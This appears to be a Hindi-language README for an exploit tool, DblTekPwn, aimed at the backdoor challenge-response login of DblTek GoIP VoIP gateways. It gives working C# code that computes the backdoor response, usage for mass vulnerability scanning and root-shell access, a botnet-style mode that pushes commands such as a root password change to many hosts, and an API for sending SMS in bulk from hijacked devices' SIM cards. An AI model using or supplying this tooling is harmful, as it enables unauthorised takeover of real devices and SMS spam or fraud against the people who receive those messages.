
एक उपकरण जो यह जांचता है कि DblTek GoIP का IP एक चैलेंज-रिस्पॉन्स लॉगिन सिस्टम के लिए असुरक्षित है या नहीं, सिस्टम से SMS संदेश भेजता है, बॉटनेट शैली में रिमोट कमांड निष्पादित करता है, और चैलेंज के प्रतिक्रिया उत्पन्न करता है।
डबलटेक GoIP उपकरणों में कमजोर चैलेंज रिस्पॉन्स सिस्टम का शोषण करने का उपकरण। निर्दिष्ट चुनौतियों के लिए प्रतिक्रियाएँ उत्पन्न कर सकता है, भेद्यता के लिए होस्ट का परीक्षण कर सकता है, कमजोर होस्ट पर कमांड चला सकता है, एक होस्ट से SMS संदेश भेज सकता है, और किसी भी कमजोर होस्ट पर रूट शेल में प्रवेश कर सकता है।
2 मार्च, 2017 को, Trustwave ने एक भेद्यता जारी की जो सुरक्षा शोधकर्ताओं ने DblTek GoIP VoIP फोन में पाई थी। यह भेद्यता 'dbladm' नामक खाते के लिए फर्मवेयर में एक बैकडोर थी। जब कोई उपयोगकर्ता टेलनेट प्रॉम्प्ट में अपने उपयोगकर्ता नाम के रूप में यह दर्ज करता था, तो सिस्टम एक चुनौती प्रस्तुत करता था, जिसका सही प्रतिक्रिया के साथ पालन करने पर उपयोगकर्ता को सिस्टम पर रूट शेल मिल जाता था।
इस तरह की चैलेंज रिस्पॉन्स प्रणाली की समस्या यह है कि डिवाइस उतने ही सुरक्षित होते हैं जितना कि प्रतिक्रियाएँ उत्पन्न करने के लिए एल्गोरिदम, जिसे DblTek द्वारा प्रदान किए गए फर्मवेयर बाइनरी से रिवर्स इंजीनियर किया गया था। इस एल्गोरिदम का उपयोग करके, किसी भी DblTek GoIP डिवाइस पर रूट शेल प्राप्त किया जा सकता है।
मूल लेख: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
लेख में प्रदान किए गए बैकडोर के विवरण का उपयोग करके, मैं इस भेद्यता के लिए कुछ पहला एक्सप्लॉइट कोड लिखने में सक्षम था। इसका मूल निश्चित रूप से किसी दी गई चुनौती के आधार पर प्रतिक्रिया उत्पन्न करने का एल्गोरिदम है। यहाँ C# में लिखा गया इसके लिए एक फ़ंक्शन है।
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
जब DblTekPwn को बिना तर्कों के चलाया जाता है, तो सहायता प्रदर्शित होती है। यह आउटपुट है:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.
[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.
DblTekGoIPPwn किसी भी कमजोर सिस्टम पर रूट शेल प्राप्त करना आसान बनाता है। बस कमजोर IP का उपयोग करके निम्नलिखित कमांड चलाएँ।
DblTekPwn.exe --root-shell --name 192.168.1.1
आपको इस तरह का आउटपुट दिखाई देगा:
Password: ***********
यहाँ से आप कमांड दर्ज करना शुरू कर सकते हैं (कोई शेल प्रॉम्प्ट नहीं है)।
मान लें कि आप एक GoIP चुनौती N1746203308 की प्रतिक्रिया की गणना करना चाहते हैं। आप बस निम्नलिखित कमांड चलाएँगे।
DblTekPwn --compute-response N1746203308
आउटपुट प्रतिक्रिया होगी:
d6176d3aab2
मान लें कि आप उन GoIPs के लिए IPs की list.txt जाँच करना चाहते हैं जो कमजोर हैं और इस आउटपुट को results.txt पर भेजना चाहते हैं। पहले सुनिश्चित करें कि IPs ip:port प्रारूप में हैं (पोर्ट डिफ़ॉल्ट 23 है) और IPs एक नई पंक्ति \n द्वारा अलग किए गए हैं। फिर निम्नलिखित कमांड चलाया जा सकता है।
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
होस्ट के बाद False या True इंगित करता है कि IP कमजोर है या नहीं।
मान लें कि आपके पास IPs की list.txt पर भेजने और आउटपुट को results.txt पर भेजने के लिए cmds.txt में कमांड (जो वास्तव में टेलनेट इनपुट की सूची है) की एक सूची है। पहले सुनिश्चित करें कि IPs ip:port प्रारूप में हैं (पोर्ट डिफ़ॉल्ट 23 है) और दोनों IPs और कमांड उनके संबंधित फ़ाइलों में एक नई पंक्ति \n द्वारा अलग किए गए हैं। फिर निम्नलिखित कमांड चलाया जा सकता है।
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
होस्ट के बाद False या True इंगित करता है कि कनेक्शन सफलतापूर्वक स्थापित हुआ और कमांड वितरित हुए या नहीं।
इस GitHub रिपॉजिटरी में कोड हैक किए गए GoIP से SMS (टेक्स्ट) संदेश भेजने के लिए एक एब्स्ट्रक्शन प्रदान करता है। इस कोड का उपयोग करने के लिए, अपने एप्लिकेशन में DblTekPwn.exe शामिल करें और निम्नलिखित using कथन जोड़ें।
using DblTekPwn.SMS
अब अपने कोड में आप स्टैटिक SmsSender.SendSms विधि का उपयोग कर सकते हैं। यहाँ कुछ उदाहरण हैं।
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
Most GoIPs have up to 32 SIM cards onboard, allowing the hacker to send SMS messages from all of these lines.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);